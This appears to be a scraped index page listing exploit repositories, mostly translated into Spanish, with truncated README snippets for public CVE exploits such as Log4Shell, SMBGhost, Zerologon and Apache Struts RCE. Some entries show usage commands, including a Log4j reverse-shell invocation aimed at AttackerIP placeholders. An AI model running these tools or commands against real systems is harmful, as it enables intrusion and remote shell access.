Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Uso Para reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort Para comprobar si es explotable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p...

CVE-2019-7609

CVE-2019-7609 Exploit de Kibana para CVE-2019-7609 en python Este exploit puede darte RCE NOTA:- ESTA ES LA VERSIÓN MODIFICADA Ayuda Escuchando en el puerto 4242 Ejecutando el exploit Acceso inicial...

cve-2015-0313

CVE-2015-0313 Código fuente de la vulnerabilidad de Adobe Flash cve-2015-0313 del Angler Exploit Kit Referencia: http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-new-adobe-flash-zero-day-exploit-used-in-malvertisements/...

pacpoc

PACPoC: un exploit PoC local para CVE-2019-2205 Para probar este exploit, instala la aplicación "maliciosa" PacTest.apk y haz que exploit.pac esté disponible vía http con, por ejemplo, python -m SimpleHTTPServer. Luego ve a la configuración de proxy en un dispositivo Android, selecciona proxy...

CVE-2022-22963

CVE-2022-22963 spring cloud function sple rce Herramienta de explotación con un solo clic de spring cloud function! por charis Blog https://charis3306.top/ Empaquetado como archivo exe listo para usar Tema de comandos usage: Spring-cloud-function-spel0.2.exe -h --check CHECK --route ROUTE --url U...

CVE-2020-1472-EXP

Ladon Moudle CVE-2020-1472 Exploit Uso: http://k8gege.org/Ladon/cve-2020-1472.html...

Awesome-Fuzzing

Welcome to Awesome Fuzzing Una lista seleccionada de recursos de fuzzing libros, cursos, gratuitos y de pago, vídeos, herramientas, tutoriales y aplicaciones vulnerables para practicar para aprender Fuzzing y las fases iniciales del Desarrollo de Exploits, como el análisis de causa raíz. Contenid...

CVE-2019-18634

Exploit N-Day de CVE-2019-18634 Diapositivas https://docs.google.com/presentation/d/11DpUy9LlHeuPRSgzaTARHPwlq01vyyqbnJURlG9Ss/edit?usp=sharing Requisitos Ubuntu 20.04 sudo 1.8.25 mira a continuación cómo compilarlo manualmente Python3 pwntools Habilitar pwfeedback sudo visudo Cambia esta línea...

CVE-2020-0796

CVE-2020-0796 PoC de desbordamiento remoto PoC para verificar CVE-2020-0796 / "SMBGhost" Uso Asegúrate de tener Python instalado, luego ejecuta cve-2020-0796.py...

shocker

Shocker A tool to find and exploit servers vulnerable to Shellshock Ref: https://en.wikipedia.org/wiki/Shellshocksoftwarebug Released as open source by NCC Group Plc - https://www.nccgroup.trust/ Developed By: Tom Watson, tom dot watson at nccgroup dot trust https://github.com/nccgroup/shocker...

CVE-2019-0708-exp

CVE-2019-0708-exp...

yasuo

YASUO @0xsauby Description Yasuo is a ruby script that scans for vulnerable 3rd-party web applications. While working on a network security assessment internal, external, redteam gigs etc., we often come across vulnerable 3rd-party web applications or web front-ends that allow us to compromise th...

shakeitoff

shakeitoff Una versión más pequeña, minimizada y limpia de InstallerFileTakeOver, también conocido como el exploit de día cero que es una "variación" de CVE-2021-41379 posteriormente asignado como CVE-2021-43883. Esta versión no abre una shell como lo hace InstallerFileTakeOver. El objetivo de es...

CVE-2026-49085

CVE-2026-49085 CVE-2026-49085 Exploit de inyección de objetos PHP en WP Insightly...

CVE-2026-8206

CVE-2026-8206 CVE-2026-8206 Kirki Plugin Unauthenticated Account Takeover Exploit...

cve-2018-6574-exploit

cve-2018-6574-exploit gcc -shared -o attack.so -fPIC attack.c go get github.com/zerbaliy3v/cve-2018-6574-exploit...

CVE-2021-40444

PoC de CVE-2021-40444 Generador de docx malicioso para explotar CVE-2021-40444 Ejecución remota de código en Microsoft Office Word La creación de este script se basa en ingeniería inversa sobre la muestra utilizada en la naturaleza: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52...

Apache-Struts-0Day-Exploit

Apache-Struts-0Day-Exploit Vulnerabilidad crítica de ejecución remota de código CVE-2018-11776 encontrada en Apache Struts. Instalación git clone https://github.com/LightC0der/Apache-Struts-0Day-Exploit/ Uso: python ApacheStruts.py URL : www.example.com/ Shell : "Comandos" p.ej. ls, dir, whoami...

CVE-2018-5146

CVE-2018-5146 exp y poc poc.ogg : archivo poc construido por uno mismo cve-test2.html : archivo exploit crctest.exe: calcula el CRC32 del archivo ogg...

CVE-2020-0796-LPE-EXP

CVE-2020-0796-LPE-EXP Versión compilada del exploit LPE de Windows SMBv3 Fuente del proyecto: https://github.com/danigargu/CVE-2020-0796 Entorno de compilación: Win10 1909, VS2019 Se probó la versión x64 del Exploit; la versión x86 no se probó por falta de entorno...